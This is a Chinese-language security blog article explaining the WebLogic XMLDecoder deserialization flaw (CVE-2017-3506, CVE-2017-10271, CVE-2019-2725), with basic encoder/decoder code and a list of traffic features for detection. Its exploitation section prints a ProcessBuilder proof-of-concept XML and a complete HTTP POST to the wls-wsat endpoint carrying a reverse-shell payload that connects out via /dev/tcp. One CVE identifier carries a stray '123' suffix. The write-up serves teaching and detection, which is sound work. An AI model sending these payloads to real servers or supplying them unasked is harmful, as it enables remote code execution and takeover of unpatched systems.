漏洞背景
XMLDecoder反序列化漏洞是一系列相关漏洞的集合:
CVE-2017-3506
CVE-2017-10271
CVE-2019-2725123
这三个CVE都是对最初漏洞的不断绕过。CVE-2017-3506的修补方案是禁用object标签,但后续又出现了新的绕过方式,CVE-2019-2725就是因为组件async存在反序列化问题而产生的。
漏洞原理
1.原因:某些组件接收XML文档时,会自动执行XMLEncoder的readObject方法,在反序列化过程中,组件不对对象类型进行审核,这就导致攻击者可以反序列化为任意类的对象。且XMLEncoder能让指定对象执行其方法。
2.原理:以WebLogic为例,其WLS Security组件对外提供webservice服务时,使用了XMLDecoder来解析用户传入的XML 数据,在解析过程中就出现了反序列化漏洞。
基础代码
1.XML序列化
//打开一个文件输出流, 和一个xmlencoder流, 将xml编码后的结果 输出到指定文件中
Test testzzz = new Testz();
XMLEncoder encoder = new XMLEncoder(new FileOutputStream("output1.xml"));
//使用writeObject方法 序列化对象
encoder.writeObject(testzzz);
encoder.close();
2.XML反序列化
//打开一个输入流,读取文件内容,并传入xmldecoder
XMLDecoder decoder = new XMLDecoder(new FileInputStream("output1.xml"));
//xmldecodedr执行readObject方法 反序列化对象
Object testz = (Testzzz)decoder.readObject();

序列化后的XML文件内容会因对象是否被修改而不同。当我们修改对象的值后,XML 文件中会体现出对象名、对象类型和修改后的值等信息。

漏洞利用实例
1.基础POC
反序列化对象为processbuilder对象,构造方法传入数组(cmd.exe,/c,calc.exe),并调用start方法执行命令,POC如下:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_181" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start" />
</object>
</java>
- 特征:404页面有特定标识,且漏洞利用需要访问特定组件的 URL,如 /wls-wsat/ 下的各类 PortType 以及_async/AsyncResponseService 等。


- 反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
流量特征
1.请求了存在漏洞组件的URL
2.含有soap协议封装的XML文档
3.XML中含有漏洞利用相关特征的元素
<void class="xxx">
<void method="xxx">
4.存在漏洞相关的利用链和利用类,如Runtime.exec、Processbuilder、classloader等。
版权所有:晨星交流
文章标题:深入解析XMLDecoder反序列化漏洞:从原理到实战利用
文章链接:https://morningstar.xin/?post=76
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:深入解析XMLDecoder反序列化漏洞:从原理到实战利用
文章链接:https://morningstar.xin/?post=76
本站文章均为原创,未经授权请勿用于任何商业用途



